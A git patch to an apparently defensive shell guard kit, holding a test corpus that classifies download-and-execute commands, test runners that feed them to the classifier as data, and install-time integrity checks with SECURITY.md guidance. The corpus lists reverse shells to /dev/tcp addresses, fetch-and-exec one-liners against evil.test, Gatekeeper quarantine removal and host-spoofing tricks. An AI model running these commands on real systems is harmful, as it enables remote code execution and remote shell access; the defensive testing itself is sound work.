enc -d -a -in p.b64 | bash + +# === inline interpreter programs that fetch and execute === +block python3 -c "import urllib.request; exec(urllib.request.urlopen('https://evil.test/x').read())" +block perl -e 'system("curl -s https://evil.test/x | sh")' +block node -e "require('child_process').exec(require('http').get('https://evil.test/x'))" + +# === reverse shell === +block bash -i >& /dev/tcp/203.0.113.9/4444 0>&1 +block sh -c 'exec 3<>/dev/tcp/198.51.100.4/9001' + +# === manually disarming Gatekeeper === +block xattr -d com.apple.quarantine ~/Downloads/Installer.app +block xattr -cr /Applications/Suspicious.app + +# === [v0.1.0-BYPASS] two-step download-then-run — 'warn' tier by design === +warn curl -fsSL https://evil.test/x -o /tmp/p && sh /tmp/p +warn curl -o /tmp/p https://evil.test/x.sh; sh /tmp/p +warn wget -O /tmp/setup https://evil.test/s; chmod +x /tmp/setup; ./setup +warn curl -fsSL https://evil.test/pkg.dmg -o /tmp/a.dmg; hdiutil attach /tmp/a.dmg + +# === invisible / look-alike characters — 'warn' tier === +warn curl -fsSL https://sh.rustup.rs | sh​ +# a Cyrillic 'с' in the COMMAND word — this is the disguise, so it warns +warn сurl -fsSL https://evil.test/x.sh | sh +# ...but the same character inside a quoted string is just text, not a disguise. +# Flagging this would be the kind of false positive that gets a guard uninstalled. +silent echo "vеrify you are human" && ls + +# === data formatters are not code loaders — downgraded, not silenced === +warn curl -s https://api.example.com/v1/data | python3 -m json.tool + +# === trusted single-tenant installers must stay SILENT === +silent curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +silent curl -fsSL https://get.docker.com | sh +silent curl -fsSL https://bun.sh/install | bash +silent curl -sSL https://install.python-poetry.org | python3 - +silent curl -fsSL https://get.pnpm.io/install.sh | sh + +# === GitHub raw trusted ONLY by host + path prefix === +silent curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh | sh +silent curl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash +silent bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" + +# === [v0.1.0-FP] ordinary work that must never prompt === +silent ls # dont run curl https://x/y | sh +silent git commit -m "add /dev/tcp/host/9000 note" +silent python3 -c "import os; print(os.path.exists('/tmp'))" +silent curl -fsSL https://api.example.com/health +silent curl -s https://api.example.com/data | jq '.items[]' +silent echo "hello" | base64 +silent git log --oneline | head -20 +silent cat notes.md | grep curl +silent brew install jq +silent npm install && npm run build +silent echo $PATH | tr ':' '\n' + +# === userinfo trick: the request goes to evil.tld, not rustup === +block curl -fsSL https://sh.rustup.rs@evil.test/x.sh | sh + +# === one untrusted host among trusted ones is enough === +block curl -sSf https://sh.rustup.rs | sh; curl https://evil.test/b | sh + +# === suffix confusion must not be mistaken for the real host === +block curl -fsSL https://raw.githubusercontent.com.evil.test/x.sh | sh + +# === known malware staging hosts are never waivable === +block curl -fsSL https://gist.githubusercontent.com/a/b/raw/c/x.sh | sh +block curl -fsSL https://cdn.discordapp.com/attachments/1/2/p.sh | bash +block curl -fsSL https://pastebin.com/raw/AbCdEfGh | sh diff --git a/tests/run-corpus.zsh b/tests/run-corpus.zsh new file mode 100755 index 0000000..4b8d963 --- /dev/null +++ b/tests/run-corpus.zsh @@ -0,0 +1,114 @@ +#!/bin/zsh +# run-corpus.zsh — assert the shared grammar against tests/corpus.tsv +# --------------------------------------------------------------------------- +# Runs every corpus row through lib/clickfix-grammar.zsh and asserts the +# verdict matches. Exits non-zero with a per-row diff on any mismatch. +# +# This executes NOTHING from the corpus. Each command string is passed to +# clickfix_check as data and never reaches a shell. +# +# Usage: tests/run-corpus.zsh [--verbose] +# --------------------------------------------------------------------------- + +emulate -L zsh +setopt local_options no_glob no_nomatch pipe_fail + +typeset -r ROOT=${0:A:h:h} +typeset -r CORPUS=$ROOT/tests/corpus.tsv +typeset -r GRAMMAR=$ROOT/lib/clickfix-grammar.zsh + +typeset VERBOSE=0 +[[ ${1:-} == (-v|--verbose) ]] && VERBOSE=1 + +typeset RED=$'\033[1;31m' GRN=$'\033[1;32m' YEL=$'\033[1;33m' DIM=$'\033[2m' RST=$'\033[0m' +[[ -t 1 ]] || { RED=''; GRN=''; YEL=''; DIM=''; RST='' } + +if [[ ! -r $GRAMMAR ]]; then + print -u2 -- "${RED}FATAL${RST}: cannot read $GRAMMAR" + exit 2 +fi +if [[ ! -r $CORPUS ]]; then + print -u2 -- "${RED}FATAL${RST}: cannot read $CORPUS" + exit 2 +fi + +source "$GRAMMAR" + +typeset -i pass=0 fail=0 lineno=0 +typeset -a failures + +while IFS= read -r line || [[ -n $line ]]; do + (( lineno++ )) + [[ -z ${line//[[:space:]]/} ]] && continue + [[ ${line[1]} == '#' ]] && continue + + typeset expected=${line%%$'\t'*} + typeset cmd=${line#*$'\t'} + + if [[ $expected == $line || -z $cmd ]]; then + print -u2 -- "${YEL}SKIP${RST} line $lineno: no TAB separator" + continue + fi + if [[ $expected != (block|warn|silent) ]]; then + print -u2 -- "${RED}FATAL${RST} line $lineno: bad verdict '$expected'" + exit 2 + fi + + clickfix_check "$cmd" + typeset got=$CLICKFIX_VERDICT + + if [[ $got == $expected ]]; then + (( pass++ )) + (( VERBOSE )) && print -r -- "${GRN}ok${RST} ${DIM}${expected}${RST} $cmd" + else + (( fail++ )) + failures+=( "line $lineno: expected ${expected}, got ${got}"$'\n'" $cmd" ) + fi +done < "$CORPUS" + +# --------------------------------------------------------------------------- +# DRIFT ASSERTION +# --------------------------------------------------------------------------- +# The corpus proves the grammar is correct. This proves both tools actually USE +# it. v0.1.0's README claimed ClipSentinel was "kept in lockstep with +# ShellGuard's grammar" while the two silently disagreed on 6 of 13 payloads, +# because each file carried its own copy. A private host list or a private +# detection regex reappearing in either tool is the exact defect that caused +# that, so it fails the build. +typeset -i drift=0 +typeset t +for t in shellguard/shellguard.zsh clipsentinel/clipsentinel.sh; do + typeset f=$ROOT/$t + [[ -r $f ]] || continue + if ! grep -q 'clickfix-grammar.zsh' "$f"; then + print -u2 -- "${RED}DRIFT${RST}: $t does not source lib/clickfix-grammar.zsh" + (( drift++ )) + fi + if grep -qE '^[^#]*(sh\.rustup\.rs|raw\.githubusercontent\.com|get\.docker\.com)' "$f"; then + print -u2 -- "${RED}DRIFT${RST}: $t carries its own host allowlist — trust data belongs only in lib/" + (( drift++ )) + fi + if grep -qE "^[^#]*(curl\|wget\|fetch)\)?\[\^" "$f"; then + print -u2 -- "${RED}DRIFT${RST}: $t carries its own detection regex" + (( drift++ )) + fi +done + +print -r -- "" +if (( fail == 0 && drift == 0 )); then + print -r -- "${GRN}${pass}/${pass}${RST} corpus rows pass; both tools share one grammar." + exit 0 +fi +if (( fail == 0 )); then + print -r -- "${RED}${drift} drift check(s) FAILED${RST} (corpus itself is green: ${pass}/${pass})." + exit 1 +fi + +print -r -- "${RED}FAILURES (${fail}):${RST}" +typeset f +for f in "${failures[@]}"; do + print -r -- " ${RED}x${RST} $f" +done +print -r -- "" +print -r -- "${RED}$((pass))/$((pass + fail))${RST} corpus rows pass — ${fail} FAILED." +exit 1 diff --git a/tests/test-zle-integration.zsh b/tests/test-zle-integration.zsh new file mode 100755 index 0000000..33b21de --- /dev/null +++ b/tests/test-zle-integration.zsh @@ -0,0 +1,139 @@ +#!/bin/zsh +# test-zle-integration.zsh — prove ShellGuard actually blocks in a REAL shell +# --------------------------------------------------------------------------- +# The corpus proves the grammar classifies correctly. It says nothing about +# whether the ZLE widget is wired up, whether the confirmation read works, or +# whether an aborted command truly does not execute. A guard can be perfectly +# correct and still be a no-op because accept-line was never rebound — which is +# exactly the kind of failure that ships unnoticed. +# +# So this drives a genuine interactive zsh over a pty (zsh/zpty), types a +# dangerous command, and checks a MARKER FILE to see whether it actually ran. +# The marker is the proof: no marker means the payload was really stopped. +# +# Everything runs in a throwaway ZDOTDIR. The "payload" only ever touches a +# file in a temp dir. +# --------------------------------------------------------------------------- + +emulate -L zsh +setopt local_options no_glob no_nomatch + +typeset -r ROOT=${0:A:h:h} +typeset RED=$'\033[1;31m' GRN=$'\033[1;32m' RST=$'\033[0m' +[[ -t 1 ]] || { RED=''; GRN=''; RST='' } + +zmodload zsh/datetime 2>/dev/null || { + print -u2 -- "FATAL: zsh/datetime unavailable." + exit 2 +} +zmodload zsh/zpty 2>/dev/null || { + print -u2 -- "${RED}FATAL${RST}: zsh/zpty unavailable; cannot test ZLE integration." + exit 2 +} + +typeset -r TMP=$(mktemp -d "${TMPDIR:-/tmp}/shellguard-zle.XXXXXX") +typeset -r MARKER=$TMP/PAYLOAD_RAN +typeset -i pass=0 fail=0 + +cleanup() { zpty -d sg 2>/dev/null; [[ -n $TMP && -d $TMP ]] && rm -rf -- "$TMP"; } +trap cleanup EXIT INT TERM + +cat > "$TMP/.zshrc" <<EOF +PS1='READY> ' +unsetopt zle_bracketed_paste 2>/dev/null +source "$ROOT/shellguard/shellguard.zsh" +EOF + +# A dangerous-SHAPED command that is observable: base64-decode piped into a +# shell (a 'block' shape) whose payload just touches the marker file. +typeset -r PAYLOAD="echo dG91Y2ggJE1BUktFUgo= | base64 -d | sh" + +_spawn() { + zpty -d sg 2>/dev/null + rm -f -- "$MARKER" + zpty -b sg "env MARKER=$MARKER ZDOTDIR=$TMP HOME=$TMP zsh -i" + OUT='' + _drain 3 + OUT='' # discard shell startup noise; keep only what the test provokes +} + +# _drain <seconds> — read whatever the shell has emitted so far into $OUT. +# NOTE: `zpty -r -t` takes NO argument. A trailing number is parsed as a +# PATTERN to block until it matches, which hangs forever. +_drain() { + typeset chunk + typeset -i n=$(( ${1:-2} * 10 )) + while (( n-- > 0 )); do + chunk='' + zpty -r -t sg chunk 2>/dev/null && OUT+=$chunk + sleep 0.1 + done +} + +_check() { + # _check <name> <expect-marker 0|1> <expect-substring> + typeset name=$1 want_marker=$2 want_text=$3 + typeset -i ok=1 + if (( want_marker )); then + [[ -e $MARKER ]] || { print -r -- " ${RED}x${RST} $name: payload did NOT run but should have"; ok=0 } + else + [[ -e $MARKER ]] && { print -r -- " ${RED}x${RST} $name: PAYLOAD EXECUTED despite the guard"; ok=0 } + fi + if [[ -n $want_text && $OUT != *$want_text* ]]; then + print -r -- " ${RED}x${RST} $name: expected output to contain '$want_text'" + ok=0 + fi + if (( ok )); then + print -r -- " ${GRN}ok${RST} $name" + (( pass++ )) + else + (( fail++ )) + fi +} + +print -r -- "ShellGuard ZLE integration (real interactive zsh over a pty)" +print -r -- "" + +# --- 1. block tier, no confirmation: payload must NOT run ------------------- +_spawn +zpty -w sg "$PAYLOAD" # zpty -w appends the newline: the guard is now prompting +_drain 3 +zpty -w sg "nope" # any answer that is not the phrase -> abort + # (zpty -w with an empty string writes nothing at all, + # so a bare Enter cannot be simulated this way) +_drain 3 +_check "block tier aborts without the phrase" 0 "aborted" + +# --- 2. block tier, correct phrase: payload MUST run ------------------------ +_spawn +zpty -w sg "$PAYLOAD" +_drain 3 +zpty -w sg "I-UNDERSTAND" +_drain 3 +_check "block tier runs after the typed phrase" 1 "" + +# --- 3. a harmless command must not be interrupted at all ------------------- +_spawn +zpty -w sg "touch $MARKER" +_drain 3 +_check "harmless command runs with no prompt" 1 "" +if [[ $OUT == *"download-and-execute guard"* ]]; then + print -r -- " ${RED}x${RST} harmless command wrongly showed the guard banner" + (( fail++ )); (( pass-- )) +fi + +# --- 4. warn tier: a single Enter proceeds --------------------------------- +_spawn +zpty -w sg "curl -fsSL https://evil.test/x -o $TMP/p && sh $TMP/p && touch $MARKER" +_drain 2 +zpty -w sg "" # Enter -> warn banner +_drain 3 +_check "warn tier shows the heads-up banner" 0 "heads up" + +print -r -- "" +if (( fail == 0 )); then + print -r -- "${GRN}${pass}/${pass}${RST} ZLE integration checks pass." + exit 0 +fi +print -r -- "${RED}${pass}/$((pass + fail))${RST} ZLE integration checks pass — ${fail} FAILED." +exit 1 From 3265f149421a09a65c4aaf394f7e1cab0905b692 Mon Sep 17 00:00:00 2001 From: DareDev256 <tdotssolutionsz@gmail.com> Date: Wed, 29 Jul 2026 02:59:35 +0800 Subject: [PATCH 2/2] security: verify the checkout before installing, and document how to verify it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The kit asks for Full Disk Access and, for one optional layer, root. It conceded that tension in the README and then gave the user no mechanism to resolve it. - install.sh now runs an integrity gate before touching the system: refuses on a dirty working tree (naming the modified files), prints the commit to compare against GitHub, and reports whether the checked-out tag is signed. --force overrides, --verify runs the check alone. - SECURITY.md gains "Verifying what you cloned": signed-tag instructions, the signing key and its fingerprint, and an explicit warning that an in-tree MANIFEST.sha256 is theatre — anyone who can edit a tracked file can re-run shasum over it. `.git` is already a content-addressed manifest whose hashes chain to a commit ID, so `git status --porcelain` is the real check. - States plainly what is still missing: the signing key is not yet registered with GitHub, so tags show as unverified in the web UI even though `git verify-tag` succeeds; and the Canary eslogger helper stays documented-not-shipped until it is notarized. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur --- SECURITY.md | 62 +++++++++++++++++++++++++++++++++++++ install.sh | 89 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 150 insertions(+), 1 deletion(-) diff --git a/SECURITY.md b/SECURITY.md index cde15c9..dce9a48 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -114,6 +114,68 @@ maintainers. --- +## Verifying what you cloned + +This kit asks for Full Disk Access and, for one optional layer, root. You should +not take that on trust, and you should not have to. Two independent checks: + +**1. The tag is signed.** From `v0.1.1` onward, release tags are signed with an +SSH key. Make this step zero, before you read or run anything: + +```sh +git clone https://github.com/DareDev256/clickfix-defense-kit.git +cd clickfix-defense-kit + +# fetch the signer, then verify the tag +mkdir -p ~/.config/git +echo 'tdotssolutionsz@gmail.com namespaces="git" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7WssTDYR71Z6KSSdrK/Xq2XipExLQl912nFRJlnQdX' \ + >> ~/.config/git/allowed_signers # full key below +git config gpg.ssh.allowedSignersFile ~/.config/git/allowed_signers + +git verify-tag v0.1.1 # must print "Good \"git\" signature" +git checkout v0.1.1 +``` + +The signing key fingerprint is: + +``` +SHA256:ahS0yuup97TRBRmaRzk3iEbUlo/IK+VqXgd0sada2KU (ED25519) +``` + +Verify that fingerprint out-of-band — against this file as served by GitHub over +HTTPS, and against the release notes. A fingerprint you read only from a file you +already cloned proves nothing on its own. + +**2. `.git` already is a content-addressed integrity manifest.** It is worth +saying plainly, because the obvious-looking control is worse than useless: + +> A `MANIFEST.sha256` checked into the tree is **theatre**. Anyone who can modify +> `shellguard.zsh` can re-run `shasum -a 256 … > MANIFEST.sha256` — the same +> write access the tamper already required — and the manifest reports OK on a +> backdoored tree. Meanwhile `git status --porcelain` reports the modification in +> every case, and the object hashes chain to a commit ID you can compare against +> GitHub. **Tamper detection is already solved. Do not trust a flat checksum file +> inside the thing it is checksumming.** + +So, to confirm nothing was modified after cloning: + +```sh +git status --porcelain # any output = a tracked file was modified +git rev-parse HEAD # compare against the commit shown on GitHub +``` + +`install.sh` performs both of these before touching your system and refuses to +proceed on a dirty tree. + +**What is still missing, stated plainly:** the signing key is not yet registered +with GitHub as a signing key, so the web UI will show these tags as unverified +even though `git verify-tag` succeeds locally. The Canary `eslogger` helper is +unsigned and un-notarized, which is why the read-watch layer is documented rather +than shipped enabled — granting root to an unsigned binary is itself a malware +trust profile, and this project is not going to ask you to do that. + +--- + ## Published bypasses in v0.1.0 (fixed in v0.1.1) This project's pitch is that it refuses claims it cannot back. That has to diff --git a/install.sh b/install.sh index 6e85420..d515ec0 100755 --- a/install.sh +++ b/install.sh @@ -28,6 +28,13 @@ # ClipSentinel, WatchPost) + make scripts runnable # ./install.sh uninstall Interactive uninstall menu # ./install.sh uninstall <tool> Uninstall a specific tool +# ./install.sh --verify Run the integrity check only, then exit +# +# Integrity: +# Before touching your system this script verifies the checkout: it refuses to +# run if a tracked file was modified after cloning, and it reports whether the +# checked-out tag carries a good signature. Override with --force, after you +# have read the diff. See SECURITY.md -> "Verifying what you cloned". # ============================================================================== set -euo pipefail @@ -193,12 +200,92 @@ uninstall_menu() { } usage() { - sed -n '3,40p' "${BASH_SOURCE[0]:-$0}" | sed 's/^# \{0,1\}//' + sed -n '3,48p' "${BASH_SOURCE[0]:-$0}" | sed 's/^# \{0,1\}//' +} + +# ---- integrity --------------------------------------------------------------- +# Surface the protection that already exists rather than inventing a new one. +# +# Deliberately NOT a MANIFEST.sha256 in the tree: anyone who can edit a tracked +# file can also re-run `shasum > MANIFEST.sha256` and make the manifest report +# OK on a backdoored tree. `.git` is already a content-addressed manifest whose +# hashes chain to a commit ID you can compare against GitHub, so the useful +# check is `git status --porcelain` plus the tag signature. +# +# Returns 0 if the checkout looks clean, 1 otherwise. Never modifies anything. +verify_checkout() { + local rc=0 dirty tag + + if ! command -v git >/dev/null 2>&1 || ! git -C "$KIT_DIR" rev-parse --git-dir >/dev/null 2>&1; then + warn "Not a git checkout — cannot verify integrity." + warn "Prefer 'git clone' over a downloaded zip so this check can run." + return 1 + fi + + dirty="$(git -C "$KIT_DIR" status --porcelain 2>/dev/null || true)" + if [ -n "$dirty" ]; then + err "Tracked files have been MODIFIED since checkout:" + printf '%s\n' "$dirty" | sed 's/^/ /' + err "A security tool should not install from a tree you did not verify." + err "Review with 'git diff', or re-run with --force if the changes are yours." + rc=1 + else + say " ${GRN}ok${RST} working tree is clean (no tracked file modified)" + fi + + say " ${DIM}commit ${RST}$(git -C "$KIT_DIR" rev-parse --short HEAD 2>/dev/null || echo unknown)${DIM} — compare this against GitHub${RST}" + + tag="$(git -C "$KIT_DIR" describe --exact-match --tags 2>/dev/null || true)" + if [ -n "$tag" ]; then + if git -C "$KIT_DIR" verify-tag "$tag" >/dev/null 2>&1; then + say " ${GRN}ok${RST} tag $tag carries a good signature" + else + warn "tag $tag is not signed, or the signer is not in your allowed_signers." + warn "See SECURITY.md -> 'Verifying what you cloned' to set that up." + fi + else + warn "Not on a release tag. For the reviewed code, run: git checkout v0.1.1" + fi + + return $rc } # ---- dispatch ---------------------------------------------------------------- main() { + # --force anywhere in the args skips the integrity gate. Strip it so it does + # not fall through to the command dispatch as an unknown command. + local force=0 a + local -a args=() + for a in "$@"; do + if [ "$a" = "--force" ]; then force=1; else args+=("$a"); fi + done + set -- ${args[@]+"${args[@]}"} + + case "${1:-}" in + --verify) + say "${BOLD}Checkout integrity${RST}" + verify_checkout && { say ""; say "${GRN}Checkout verified.${RST}"; exit 0; } + exit 1 ;; + esac + + # Everything below touches the user's system, so gate it. + case "${1:-}" in + -h|--help|help) : ;; + *) + if [ "$force" -eq 0 ]; then + say "${BOLD}Checkout integrity${RST}" + if ! verify_checkout; then + say "" + err "Refusing to install from an unverified checkout. Use --force to override." + exit 1 + fi + say "" + else + warn "--force: skipping the integrity check." + fi ;; + esac + case "${1:-}" in ""|menu) install_menu ;; -h|--help|help) usage ;;